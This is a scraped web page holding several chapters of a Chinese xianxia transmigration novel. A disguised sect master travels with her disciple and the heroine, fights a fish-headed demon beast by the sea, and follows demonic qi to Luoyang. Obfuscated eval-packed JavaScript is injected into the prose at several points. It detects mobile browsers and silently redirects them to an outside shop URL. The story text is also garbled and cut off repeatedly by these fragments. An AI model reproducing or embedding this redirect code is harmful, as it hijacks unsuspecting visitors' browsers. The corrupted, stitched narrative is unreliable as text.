听到渐渐放大的脚步声,柳今初才回了神,她发觉近日自己总是会出神,却也不是在想些什么事,只是静静的看着某处而不思考任何事,就像在元剑宗时她常常盯着栀子花出神一般。 “听闻你是这边的人,可熟悉这里的秋雁岛?”裴卿面对着她坐下,自顾自倒了杯茶水。 柳今初正觉口干,伸出手拿起他刚倒满的茶水,轻吹了口气便喝下了,温润的茶水有些茶叶的苦涩味道,入了喉让她觉着没解渴反而有些帮倒忙的感觉,于是又将空荡荡的茶杯推了回茶壶旁。 坐在她面前的人抬眼看了一眼垂眸不知在想什么的女子,盯着那双有几分妖艳的狐狸眼片刻又抬手将她推来的茶杯倒满了淡绿的茶水,随后才给自己倒上一杯。 把满上的茶杯推回她手边,温热的茶杯蹭过柳今初的手背,柳今初像是清醒了一样道了声谢,才端起茶杯。 “季安姑娘,方才在外在下有些冒犯了,还望姑娘勿放心上。”裴卿开口道。 “方才我不也是抢了你的茶水喝了么,一来一去,我们算两清了。”柳今初倒是没什么感觉,摇了摇头,“那个秋雁岛,我只是儿时去过几次,对它也不是那般熟悉。” 柳今初其实没想到裴卿会问她远东海域的其他地方,她此次也是第一次来,怎会对这里熟悉,不过为了不让他怀疑,柳今初事先用灵气探查了这片海域,的的确确知道这有一座岛屿名为秋雁岛,距离他们的客栈也不算太远。 “无妨,我这般提起,是因为这的掌柜提起的。”裴卿道。 “怎么说?”柳今初觉着这消息定然不是什么好事,继续追问。 “这岛上常有渔民捕鱼,但近日听闻有人失足落了海,第二日竟又出现在了家中。”裴卿淡淡陈述完,便转头看向了客栈的木门。 柳今初也察觉到了有人到来,也回头看去,只见推门而入的是芷汀,她曾和柳今初说过自己去集市寻人会晚些回客栈,想必现在是做完了事了。 “季安你们都在此那便好,你们有所不知,这片海域前些日子出了事。”芷汀似是跑得有些急,正微喘着气,又看着有些急切一步并作两步来到两人面前。 “何事让你这般着急,慢些说。”柳今初只觉得这女主芷汀有时真是有些可爱,可关键时候又靠谱得令人安心。 “想必你们也听闻了,那便是此处附近的秋雁岛有渔人遇了事,落了水没了命,听他身旁同行的渔人说他的尸身已浮在的海面上,可第二日那同行人到渔人家拜访又见了渔人的尸身,怪的不是尸身又归到了家中,而是那尸身上沾了鱼鳞似的东西。”芷汀缓了缓便细细说道。 “此事定与附近的妖兽有些关联,要寻它倒也不难,就是我们晚来了几日,已有百姓得知难免引来慌乱,如此一来处理此事便有些棘手了。”芷汀似是先前历练便遇到了大差不差的事,对处理此情形显得尤为熟念。 可坐在身侧的柳今初不这么觉得此事会很好处理,毕竟她得知芷汀回过宗门后去了九妖山才又来了远东海域,那便是第二次踏足这片海域了,是第二次历练,而原小说中这第二次历练还在后头呢,在裴卿与芷汀熟悉彼此之后。 她知道这第二次远东海域历练定然比第一次难上许多,因而男女主才能在险境中更加熟悉与依赖彼此。可她阴差阳错也跟着来了,裴卿原本在九妖山历练的情节也中断了,她有些担忧若裴卿和芷汀都因为变故少了几年的历练,那么以他们如今的能力还能应对后来遇到的高阶妖兽吗? 柳今初算是弄明白了为何自己来到此地会心不在焉了,如此想起剧情线的变化,她若不紧张那便不是她了。35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792323|210434||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 裴卿似是看出了什么,出声询问:“季安姑娘,你可是有何心事?” 柳今初没想到裴卿会突然同自己说话,毕竟按照他的性子,多半会在此刻静声听他人说话的,柳今初转了转桌上的茶杯,搪塞了几句,“这里出了事又不太平,我也算在此生活过几日,怎会不担心没有心事?” “也是,想来你也担心这附近的百姓了,事不宜迟,明日应当即行动调查此事。”芷汀心思细腻,将手轻搭在柳今初的手上以示安抚。 柳今初点点头看向芷汀,觉着自己要是以当下的身份与裴卿相处若是没了芷汀,怕是要互相猜疑对方了。 “嗯,不过明日行动还是不要声张了,这些百姓也只是凡人,虽也遇了不少妖兽但终归还是惧怕的。”柳今初虽表面这样说着,可她心底还是没些把握,按照剧情,明日深夜那妖兽便会现身再杀一人,只是她有些记不清在何处了。 * 清晨海平线处积满了灰白的云,红日隐隐约约从中透露光彩,海面上还有淡淡的雾气弥漫,看着朦胧极了,站在礁岛上的渔人戴着竹笠,提着一个空荡荡的鱼篓四处看着,随后转身下了礁石,一副落寞的模样。 柳今初昨夜就没睡好,心里一直装着事,今日便早早起了身,出了客栈,见有渔人从岸边走回集市也跟了上去,她本意只想跟着渔人一起到市上寻些吃的,可没想到这渔人到了集市后,转而走了一条偏僻的小路,渐渐走到了集市的边缘地带。 那里铺子稀少,走动的人也少得可怜,算上她和这渔人也只能勉强凑够一只手。柳今初觉着不对,环顾四周,地上零星有几处鱼杂堆叠着,似是被丢弃在此处很久了,散发着浓重的腐臭味与鱼腥味,再抬眼看便是几个枯竹搭的架子,架子上随意搭着几块残破脏污的布,看不清是什么材质。 那渔人似是发觉身后有什么人在跟着他,渐渐放慢了脚步,看了看身旁一个正在清洗鱼篓的老妇,同她搭起了话,“今日海上起雾,这鱼便是不好捕了,晚些去应会好些。” 那老妇似是与他相识,抬起污浊的眼瞧了瞧他,发出沙哑的声音,“今日的雾怕不是不会散了,你还是早早回家待着吧,吃你卖剩的鱼过了这日便是了。”说完,那老妇鬼使神差地转动眼珠,直直看向柳今初站着的位置。 柳今初似也发现了她在看自己,不过她不算有多惊讶,毕竟她身上穿着的衣服是丝绸质地的,而他们看出她不是平常人家如此看上几眼也正常,只是内心狐疑,那老妇直直这样看了她很久才不做声地继续细细清洗她的鱼篓了,力道较大,搓得那竹编有些变形。 但此地不宜久留便是了,她虽没发现什么妖气或者魔族气息,可灵气她倒是感知到了几分,是跟在她身后的人没藏好,也或许是她本体的修为已经到了可以察觉到灵气游动的蛛丝马迹的地步了。 16. 第十六章 少女转身,衣摆翻飞,不疾不徐地往回走,似是没察觉到后面紧盯着她背影的渔人与老妇一般,直直走出了这破败的集市边缘处。 柳今初边缓步走边抖着自己手中的钱袋子,碎银相碰发出清脆的声响。感觉到身后的气息慢慢靠近,她忽地出声,“裴卿公子,你这是要跟我跟到何时?” 少女回头看着身后空荡荡的路弯眼淡笑,紧接着就看见一袭黑衣不知从何处冒了出来,动作轻盈迅疾,让人看不清动作,待他停下站好才能看清来人是谁。 “你是何时发现的?”裴卿目光直直,一只手搭在腰际的黑色皮质腰带上。 柳今初笑而不语,不过确实察觉到了他腰间手的动作,似是在抚摸藏在腰际的那把匕首,若不是看见了这防备的动作,只看他那没有什么情绪的脸,她恐怕是不知道裴卿对自己起了疑心。 “进了那偏僻的角落就发觉了,不过你跟着我做什么?”柳今初有话直说,环手抱胸一副不置可否的模样,那双狐狸眼中还含着几分笑意。 裴卿没有解释什么,他知道眼前这位少女对他的做法心知肚明,转而继续向集市人多的地方走去。 柳今初倒是没有恼火他这副无所谓的模样,毕竟她的确知道为什么裴卿要跟踪她到那偏僻小道去,谁让她这番行为确实有几分古怪之意呢,他这样警戒性极高的人不怀疑才是怪的。 可这副对女孩子还这般没有耐心的样子,柳今初看不太下去,她虽在教徒弟修剑上有些随意了,但对徒弟品格的培养还是很看重的,即便现在不是师尊之身,可教导之魂还在,于是柳今初一步并作两步跟上个高走得快的裴卿,站在他身侧并排走在。 “裴卿公子,不是我多管闲事,你这般对待女子怎能行,与女孩子相处需有些耐心,当然同男孩子也一样。”柳今初一副教导的口吻,侧目看向裴卿,盯着他轮廓分明的侧脸继续道,“裴卿公子莫嫌我话多,我只是提了些建议,你瞧芷汀姑娘,人家见你总是孤零零的就心善地同你一块历练,你呢就主动些也同人家多说说话,就算回恩她那样温柔的善意了。” 柳今初觉得自己讲得头头是道,不禁为自己这番话感到满意,这些年来她总为师尊这个身份着想又生怕原主先前收下的亲传弟子宁明和进勉觉得自己的师尊变化太大而起疑心,她已经尽量表现得像个严肃的师尊和长老了,虽然平时她就够懒散了,不过如今她换了个身份,她总算能再放肆一些了。 见身旁的人稍稍垂直眼看地慢慢地走着没出声回应,柳今初都要以为自己这番话白说了,或是被裴卿当作耳旁风了,就见高出她半个头的青年点点头,额前的碎发轻动,微微遮住了狭长的眼尾。 这是听进去了?柳今初将视线收回,还想找些什么话题继续下去时便注意到了似是有许多人朝着他们的反方向走来,周遭的环境也变得嘈杂起来,细细碎碎的说话声交织着,她也被挤得向裴卿靠近了些,后知后觉这场面有些不对,便抬手拉住身旁人暗黑的衣角。 将人拉进自己后,柳今初心中有些意外自己能这么轻易地与裴卿肢体接触,这小子没像块木头一样直直与她拉开距离,不过眼下这不是什么重要的事,柳今初开口道:“前面似是有混乱,而且似是有几分妖气在。” 好在她与裴卿靠得更近了些,不然照她这样说话裴卿怕是一个字也听不清,要她扯着嗓子说才行。 柳今初看向裴卿示意他回复些什么,裴卿似也明白了她的意思,倾身靠近抬手挡在两人耳侧,动作有些僵硬,但声线依旧很平稳让人听不出什么波澜来,“在右侧,你当心些。” 柳今初自然知道那妖兽藏在了她站着的一侧,点点头,随即在手心中蓄积一些灵气,旁人看不出,她特意将灵气掩藏了,而裴卿看得见也感知得到。 感受到裴卿看向自己手心的视线,柳今初有些忐忑,样貌能变,可灵气只能隐去些却是改不了的,现在只能庆幸她在元剑宗时几乎是没怎么在徒弟面前展示自己的灵气了。 “这妖兽似有些不简单,不过也只是中阶妖兽,我们联手解决不难。”柳今初说完,两人便已来到了那混乱中心处。 只见地上躺着一个满脸脏灰留有垂髫的孩童,身上穿着麻衣,紧闭着双眼但看着有呼吸似是昏迷了,而抱着孩童的是为头发凌乱两鬓斑白的老翁,看着应是当地的渔人,头上戴着斗笠身旁还有一只装有几条小鱼的鱼篓。两人身旁还跪着一人,那人头部有着干涸的血迹,腰腹处的麻衣也染了黑褐色的血,看着脏污极了。 白鬓垂髫身后站着几名官兵打扮的男子,圆领白衣,又帮着腿,看着干净利落。而官兵身后零零散散有几个不怕死的看客,官兵前的人都在官兵声声呵斥中挤着向后退去。 见又有两个不怕死上前来看戏的走上前来,打首的白衣立刻高声呵斥,“怎么,见不着别人都往后头退么?” 柳今初见状好声道:“这位官兵,您有所不知,这位孩童受了重伤……”柳今初只是为了暂时拖住那官兵的视线,并未将话说完便动了手,眼下那妖兽已经蠢蠢欲动就差没张开血盆大口咬断那孩童的头颅了,可碍于那妖兽藏着身百姓看不见,不然就不会还有什么官兵和看闲之人了。 裴卿似是也知道她要做什么一般配合着先推开距离妖兽最近的人,随后也放出灵气让那妖兽感知到他们两人不是什么凡间百姓。 那模样狰狞,单目鱼头兽身的妖兽浑身都是浓黑与深蓝交汇的颜色,除了鱼头浑身都遍布细细密密的鱼鳞,那鱼鳞下有胶状液体慢慢流动着,叫人看了能吐出前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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退至远离刚才的位置后,两人与那妖兽来到了湿润的沙地上,柳今初放开裴卿的手后,当即拦在了裴卿面前,一人面对着那鲜血淋漓的妖兽,欲动手却又止步不前,那妖兽正欲向她袭来之时,忽地像别人用麻绳捆绑住了一般在原地挣扎着欲向前爬来。 再细细一看,柳今初便看见了妖兽背部的一抹亮黄色,那是符纸,她向后退了半步想看看有没有芷汀的身影便感觉自己似是踩到了什么,转身回头便见了一张有些不满的脸,她见裴卿沉着脸,紧抿着唇,眼眶中有几丝红血丝,只能立即出声安抚道:“等处理完这只妖兽,我们再……”还未说完柳今初就觉着太阳穴隐隐发痛,顷刻间那痛意便直直上涨让她有些站不住。 可她已然察觉到了妖兽似是要用些妖气击向自己了,正困顿间,一只宽大的手掌便搭在了她的肩上,将她向一旁退去,随后她便被人扶住了。 17. 第十七章 为了不拖后腿,柳今初用了些灵气强硬地把太阳穴处的隐痛压下去,咬破了唇渗出了几滴鲜红的血来,她尝出来了一点铁锈似的血腥味,从芷汀怀中缓缓爬起身,手中幻化出一把模样简单的长剑,这还是她为了糊弄裴卿让他不察觉到自己身份有异而及时幻化出来的剑,虽模样简单了些,但她用着也趁手。 “季安姑娘,你还好么?”芷汀投来关切的目光,但并未阻拦要起身的少女。 “无妨,但是先别对那妖兽下死手,它身上似是有些异于其他妖兽的东西,只是……我也不清楚是什么。”柳今初正想再说些什么,就听到了一声急切的呼喊,那声音有些沉哑却带着不容置疑的狠厉之气。 “当心!” 柳今初自是知道那妖兽又向她袭来了,只是不解为何这长得奇形怪状的东西总是向自己释放妖气的攻击。 少女偏身转剑,蓄力用剑背将其击开,随后撤步把芷汀带到了离妖兽较远的地方。芷汀作为符修,自是不善于近战的,当即用灵气化作尘黄的符纸,在那符纸上写下旁人难以辨认的血红字迹,衣袖因灵气带来的翻飞,脚边的沙粒也飞扬起来。 柳今初将那布满鱼鳞的背部击开后,下意识顺着招式走欲绕转剑锋刺入那鳞片稀薄的颈部时,又猛地停住,站在她身侧欲从正面回击妖兽的青年诧异地看向她,但也没有空闲问出心底的不解与疑惑,随即又狠厉挥剑斩向妖兽早已血淋淋的头部。 “先别下死手,打晕或者困住就行!”柳今初没办法说清自己心里的不安,只隐隐觉得直接杀了那妖兽会酿成大祸,可她不知道自己这般想的源头,正纠结着却是先自己开了口。 “为何?”黑衣青年未停手,却也先转开了剑锋,力道不减地狠狠用剑身砸了那鱼头,随后向后退了一步,撤开一只腿宛然一副戒备的模样,腿边黄沙飞扬又落了几层在他墨黑的衣摆上。 芷汀也是不解,可见裴卿也有些些退让,连忙画符将妖兽牢牢困锁在沙地上,随即抬高声量朝两人喊道:“这锁符撑不了多久!” 柳今初一时半会想不出要怎么处置,眼下除了这妖兽让她心悸不安外,她和裴卿两人的信任问题也冒出了头,可难就难在她也不知自己为何执意要这般做,明明她偏生不是什么怀有浓厚善心慈心的人。 “这、这妖兽,总之有没有法子先不杀了它。”柳今初越说越没底,可她又不愿这么早就暴露身份,用超出金丹期的修为行事,正踌躇间,她做了一个冒险的决定。 只见浅紫衣衫的少女不知从何处拿出了一枚形状怪异的玉佩,注入灵力后将那玉佩抛入妖兽所在的锁符范围内,玉佩着地的一瞬间便展开了一道散发白光的屏障,白光慢慢向内缩去,被包围在内的妖兽似是明白了什么,奋力挣扎的动作渐渐变小,随后便被收入在了那怪异的玉佩之中。 柳今初见状长呼出一口气,当即便走上前去把玉佩拿回,细细观摩似乎第一次见到它一般。 “季安姑娘,你竟有这般厉害的法宝。”芷汀见状跟上来,似是有些担忧又道:“如何?可困住这妖兽多久?” 少女摇摇头,泛着淡红的指尖摩挲着自己也难以说清形状的玉佩,她久久不出声沉默看着玉佩良久。 这玉佩的防御功能竟真能这般用,柳今初真是觉得这玉佩跟对了主人,任是谁也想不到能将化作防御屏障用的玉佩当作困住妖兽的牢笼吧,这样反着用的想法柳今初也是赌出来的,所以再成功之后她没感到有多惊讶,而是庆幸,庆幸她保住了自己的假身份吧。 “为何不愿杀了那妖兽?”裴卿跟上前来,瞥了那怪玉一眼,狭长的凤眸里藏满了猜疑。 柳今初自是知道裴卿在想什么的,可他不像芷汀,他没有相信一个陌生人的勇气,或许说小时候还存有些许天真的他还有这份勇气,而现在她觉得裴卿更多的是防备,甚至怀疑。 “我说不上来,可就是觉得直接杀了它……会出岔子。”柳今初脑袋空空,只能直白地说出这令人难以置信的缘由。 “会出什么岔子,它只是一只普通的妖兽,并无其他特别之处。”裴卿冷冷说完,看了垂眸盯玉的少女片刻见她不做声,便转身离去了,脚步稳健走得干脆,高高竖起的发丝因风轻轻扬起一丝弧度,看起来冷漠疏离极了。 “季安姑娘,我虽也有疑惑,不过现在妖兽已经暂时被困制住了,至于为什么这么做,我会等你后面解答的。”芷汀察觉到了两人之间的微妙冲突,轻拍少女的肩背以示安慰,“裴卿这样对女孩子也不是一天两天了,他就是强硬又不懂说话而已,姑娘你这般善解人意,我们便不同这木头计较了。” 柳今初本来心事重重正觉得头重脚轻,听芷汀这么说忍不住笑出声来,颤着肩点点头,脸边梨涡轻显,实实在在一副少女稚气的模样。 待芷汀离开后,柳今初便调用了分身的灵力,修为在一瞬间便逼近了元婴中期,浑身灵力充沛,连着那几分闷闷郁气都散了几分,这觉得很是神清气爽,浑身都充满了气魄。 理了理衣摆,柳今初便在原地盘腿打坐,用灵力探寻玉佩内困住的妖兽,垂眸闭眼细细感受着,似是不放过妖兽体内一丝一毫的异动,可这样探寻来探寻去了一盏茶的时间她都没察觉到有什么不对,少女睁开双眼长睫颤动烦躁涌上心头,正欲在渡用些灵力却又担心裴卿他们察觉出来这附近的灵力波动。 无奈下,她决定回去看看那妖兽原本厮闹的集市,方才同妖兽搏斗的招式虽很多,可耗费的时间却是很短的,也不知那时聚集在集市的百姓可否被安顿好了,如此想着柳今初便动身前去原先遇见妖兽的地方了。 待到了那里她便看见了正画符施展灵力的芷汀,环顾四周没见着那一袭黑衣的身影,柳今初心中涨起不满的潮水,决心等徒弟历练完回宗门后好好质问他是不是只顾着杀妖晋升历练去了而没有发扬宗门行善的传统了。 见柳今初过来,画完一张符纸的少女便转身走上前来,一副终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见他话说一半又止住,柳今初意外抬头看向他,毕竟裴卿可不是什么爱吊人胃口的人,一向是有话直说,除非是有难言之隐,可这种情况也鲜少出现。 “嗯?只不过什么?”柳今初反应过来才警觉到魔族气息竟出现了,跟得实在是紧,没几日便随他们来到了远东海域。 “魔族气息似是去了另一处,又是在凡间。”青年沉声说完,眼中又流露出几分让人难以捉摸的情绪,柳今初看不明白,难不成裴卿一夜之间开了窍忽地对凡间百姓心生怜悯之心了? “这天底下凡间土地可多着了,在何处?你不细细说说,毕竟已你的天资,这点小事难不倒你的。”柳今初见他主动寻她又知错能改,心情不错。 “在洛阳。” 柳今初听了一顿,这魔族气息竟恰是去了此地,不过这消息除了此处让她哑然之外,更让她不解的是为何魔族气息随他们来了这里,又自顾自离去了。 18. 第十八章 既然是这样,那便只有有意引他们到洛阳这一种可能了,柳今初倒是愿意跟着它的指引一探究竟,她心中有底,再出什么岔子芷汀也能护着她,她也不愿相信自己现在的修为还不能躲过魔族的攻击了。 “那事不宜迟,今日便启程吧,想必你们仙界对这魔族气息很是关心的。”柳今初简单回应完便出来门。 三人聚集在一起后,像上次那般前往了洛阳,待抵达之时已经是夜间了,整个洛阳城几乎是陷入了一片黑暗之中,一眼望去竟是看不出几点灯火来。 修仙者的精力比凡人旺盛许多,一夜未眠也如常日那般精神抖擞,于是乎几人连夜开始寻找,夜间行动也有益,三更半夜百姓近乎都入了眠无人会注意到行动迅疾的三人,免去了要用步行探寻全城的麻烦。 月光倾洒于砖瓦之上,青灰色的砖瓦上有几片黄褐色的榆树落叶,少女脚尖轻触铺摆整齐的瓦片,细心避开了杂乱散落的落叶,一路轻盈地飞走,没有发出半分声响。 忽地身旁传来一阵迅疾呼啸的风,稍纵即逝,扬起了柳今初颊边的碎发,让她觉得有些痒意,下意识抬手碰了碰,欲抬眼看方才超过自己的人是谁,不过不用看她也知道那是谁,在看到那没入前方黑暗的身影她更是确定了。 少女忍不住弯唇,她觉得平日待在宗门的裴卿还是收敛了不少孩童稚气,这样孩子气地追赶行为她还是第一次看见,而在宗门里裴卿只会勤勤恳恳地自己一人修炼或是练剑。 可遇到这样难得一见的裴卿,她实在是想与他“置气”下去,少女想到什么便做什么,当即加快了速度,追上他并不算难,走过几户人家的瓦顶后柳今初便又见了那高高竖起马尾的身影,发带轻扬意气不减。 随后她拿出一张芷汀之前画好的留音符,将自己的话留在符纸中后,她轻挥左手,符纸便顺着她扬去的方向飘扬,不一会儿便落在了前方不远处的青年身上,他似是很快就发现了自己身后的剑上附着了什么东西,抬手用灵力将其拿回手中,那黄色的符纸一触及他的手心便化作了淡黄的光点散入空中。 柳今初还跟在他身后,见他停下步子没在向前也想着自己也停住,可她方才欲快些追上他似是用力过了头,这会儿有些刹不住脚步了,再看前方那堵高出的自己好几米的灰墙,她觉得自己有些倒霉了。 不过想要强硬停下也不是不行,只是会撞坏了老百姓的砖瓦而自己撞到墙上而已,更坏些还会吵醒熟睡的其他人,这样看了这些后果似是更严重些。 干脆一不做二不休,柳今初只能尽量减缓速度,想借着站立在前方的裴卿停下脚步。让她出乎意料的是,裴卿转过了身,似是早就预料到她忘了看路一样,伸出手臂让她借力停下。 顺利停下脚步后,柳今初还能感受到自己忽地止步而带起的轻风,扬起了她的衣袖和披散在身后的长发。月光下,两人身影旁的树影也开始摇晃。 站住脚步后柳今初开始懊悔自己为什么想要逗弄徒弟,爱这般玩就算了,偏偏她还忘了看路。 为了以示歉意,她侧头朝裴卿露出来有些尴尬的笑容,想告诉对方自己并不是有意这样做的,好在裴卿还是那张没有什么情绪的脸,只是眼中略有些不耐。 正当柳今初想打破这僵持又尴尬的氛围之时,一道未脱尽稚气的声音响起,柳今初听了一顿,寻着声线望向屋檐之下。其实这声音不算太大,只是在这静谧的夜晚中与两位修行之人耳中显得尤为突出。 柳今初见了那人是谁,便当即拉着裴卿从瓦顶跃下来到了另一侧,他们正处于一户人家大门之外,这么一来那少男便是在庭院中了。 还未出声解释,柳今初便感觉到自己手心中那骨节分明的手已经不动声色地退来了,再回头看站得笔直的青年,柳今初似是想起了裴卿对男女授受不亲这事尤为看重,低声道了句,“唐突了。” 随后她便注意到自己身后的木门发出响动,似是有人欲从内打开大门,柳今初只好又拉起裴卿的手,但她动作顿了一下,指尖擦过他的手背转而拉起他的衣袖将人拉到了门外的一颗榆树后,这榆树长得极好,根壮叶密很好得将两人藏住。 只听木门吱呀一响,几道清晰的脚步声渐渐传来随后又变小,直至两人听不清后,柳今初才从树后探头张望,又看了一眼这大门之上的牌匾———和气致祥,看来是个商贾富户,这牌匾上的字是求财源滚滚,生意兴隆来的。 可在仙界初见林谦时,他可是一副穷苦贫寒的模样,想来他便不是这户人家的孩童,出现在这想来是有家里人在这做打杂或是下人。 “他身上有魔族气息,你也察觉到了吧?”柳今初自然是知道裴卿早早就发现了的,可她总得问他几句,让他多和“别人”说说话才是。 “嗯。”裴卿垂眸看着自己的手,理了理护臂的位置,不置可否道,“他现在应是到了桥上。” 柳今初点点头,她前面飞檐走壁时已经观览了附近的布局,多亏了原主多年的修为,她已有了过目不忘的能力,这里的布局一瞧便能知个七七八八了。 两人悄声来至桥边,拱桥下流水潺潺听着很是舒心,如果抛开笼罩在桥上的那团雾气状的黑暗,这月夜树影、小桥流水定然是一处美景。 柳今初见到林谦后便早已给芷汀传出了一张留音符,赶来这小桥时芷汀便已出现在桥边树影之下了,同她对视确认后,三人分散开,将站在桥身中心的林谦围住,虽未事先商议,但三人都未动手,只是暗自观察着。 林谦身型瘦弱得仿若夜间吹至的风也能将他吹倒一般,却是不怕落入滚动的河水里一般站上了桥一侧的望柱上,拼命伸长了手,踮起脚尖要触碰那在半空中舞动的雾气。 柳今初实在有些看不下去了,她深知林谦真真切切只是一个有灵根的人,若抛去他那空灵根他便只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴卿道了一个地名,便不再说话,两人一路上也并未交谈,像是各怀心事一样面色仍是那般凝重。 两人赶在天亮前来到了靠近皇城的里坊,这里满是朱红的梁柱与墙面,树影已模糊,天边已有淡淡的光晕。此时已有人声响起,两人双双看向天际处的日光,随后在里坊处分头走动像是在寻找某处。 待两人在一处客栈停下脚步后,幻化成一身绫罗绸缎又戴金配玉的富商模样,柳今初便知道了两人要寻一处落脚,毕竟这里坊可不是什么人都可以进来的,他们要在此处总归要找个站得住脚的身份。 可他们是安定了,而她被那雾气或是说那魔族气息传来了不知是何处,不过她知道自己在座庄重阔绰的侯府里,不过自己躺着的床榻倒是狭小,想必是下人所住的地方了,可这个点下人应动身起床了,她还能感受到屋外窸窸窣窣的响动。 19. 第十九章 正想得深入着呢,一声尖锐的叫喊猛地将还坐在床榻上的柳今初叫回了神,少女身形一顿,觉着那人定是这个侯府中管理下人的娘子在叫喊现在还在床上的婢女了———也就是被莫名其妙卷来这里的她,可偏偏林谦那个瘦小的孩子又不见了,不知去了何处,总之她这趟算白走一遭了。 趁着那管事的娘子还没来,柳今初赶忙运转灵力,眨眼间换了个人,她抖抖身上的衣袖觉着这身衣裳还是很舒适的,圆领短襦衣,袖子较窄,应是为了方便给主子干活办事。 柳今初没干多待,立即应了一声“是”,随后算得上从床上跳下来的,赶在那娘子再出声喊骂时奔到了她跟前。 站着听完那娘子的吩咐,柳今初点点头,双手交叠至腹前,微微倾身,她方才幻化得太快,几乎是下意识就想隐瞒身份了,似是怕些什么。 待那娘子一口气说完所有要做的事后,便低声气愤地说着什么,转身就走,步子声音一开始大得有些震耳,后来又突的变小,柳今初猜是这娘子意识到了现在还是清晨,这样闹腾吵醒了侯府的侯爷或是王妃,不过这侯府大得很,这些下人住的地方又在很外头,应是没多大影响的。 少女在那娘子走后,转了转身,衣摆翻动,她其实挺喜欢这身衣裳的,穿着轻便,衣袖也小,和现代服饰比较相似,可真弄这么一身衣裳回宗门,怕又是要被各宗门弟子甚至长老奇怪地看上几眼、说上几句。 想了想她决定牺牲便利换耳朵清净。 四处看看看,见没人,应是所有下人都去忙活了,只有她这个充头的满不在乎,柳今初不禁回头看自己身后的倒座房,在府邸南侧,方才自己躺的床榻下还有一层,这间屋子能睡下六人,却也是能和她上高中时的宿舍相比了,一想到现实,柳今初又开始唉声叹气。 她没忘了自己从宗门出来的目的,这几天又是九妖山意外遇见徒弟,又是被魔族气息勾去了远东海域遇到了那怪异的鱼头妖兽,眼下还在她那块和裴卿可以通讯的玉佩中。 想到这块烫手山芋,柳今初开始摸索身上的衣裳,翻来覆去找了了许久也没发现那玉佩,她还正想庆幸自己在用这玉佩收下妖兽前给它换了副样子而裴卿就看不出这破绽,可眼下玉佩不见了,她就这样不知不觉间丢了一件法宝,或许说是半件。 柳今初蹙眉,食指尖抵住下唇,她并不觉得丢了法器是什么巨大的损失,可怕就怕在那半块玉佩里有妖兽,若是突然被放出来了,她又赶不及阻止鱼头妖兽肆虐,那遭殃的就是这洛阳百姓了。 “这该如何是好……” “说些什么呢,这个点了,你怎不去做事?”一道稚嫩的童音从身后响起。 柳今初想得入神潜意识里忽略了周身所有的凡人气息,听见声音她左右望看没见着人,随后就感受到衣摆被什么拉住了,传来轻微的拉扯感。 她稍稍低头便能见到一个白嫩嫩的孩童,约莫四岁了,身高刚及她大腿处,模样看着十分讨人喜爱,双颊的肉圆而白,眼睛亮亮的,发顶扎着的两撮头发不长,像羊角一样。 又瞧见他身上穿着的衣裳,布料一看就比她的要好上许多,质感手感定然也很是不错,当下又是榆树落叶的季节,侯府中就有枯黄的落叶,下人正清扫着。 这孩童身上的围涎有锦鲤的图案看着精巧极了,这圆形的布好似是用来防脏污衣裳的围嘴,再瞧瞧这娃娃身上毛茸茸的衣饰,再看她身上的,只有一件袄子随意披着,想必这衣着精贵的孩童就是府中的小郎君了,只是是谁的孩子她不知。 “小郎君,你怎么跑到这来了?”还未说出下一句话呢,柳今初便听见了一声轻柔的呼唤,叫着什么名字她听不太清,可任谁都知道这来人定是什么身份不一般的人,还是寻这乱跑孩童的人,无非就是王妃什么的了。 “小郎君,你这般可爱,今日遇见谁了都说没见过我成吗?”柳今初急忙说完,眼不眨地盯着那玉雪团子。 “嗯嗯。”孩童瑟缩了一下,似是觉得发顶有些冷,摸着自己的发点着头应答。 柳今初听了转身便跳出了倒座房的门,顺着风似的来到了府邸南侧的园林里,找来趁手的工具就开始装模作样的做活,好在那娘子让她去给这园林的花木浇水,而这园林又恰好在南侧,她只用走就能到这,这一路来见了不少和她装扮一样的下人,如此看来她像用点法术怕是有些麻烦了,与其要处理繁琐的后事,不如就用本本分分的肉身行事。 正低头俯身浇着花,柳今初手里浇花壶水装得满,握起来沉甸甸的,她暗自运转体内的灵气才觉着轻便些,做了没一会儿,她便开始回想坐在榻上时自己看到的画面,裴卿和芷汀进了间客栈,这客栈离侯府不远,出了侯府的门再稍稍走几步路就到了。 那裴卿他们为什么会来洛阳,难道那魔族气息又像上次那般要引人去到别处不成,她实在无心做着浇花琐事,思绪被那魔族气息搅得乱七八糟,直直在同一花处浇了半壶水,直至流出的水沾湿了她的鞋她才回神。 那当下又该如何是好,总不能在这侯府一直做个下人吧。柳今初面色迷茫,提起浇花壶移向别处,正欲继续装下去时,那轻柔的女声传来,伴随着一声清脆的笑声。 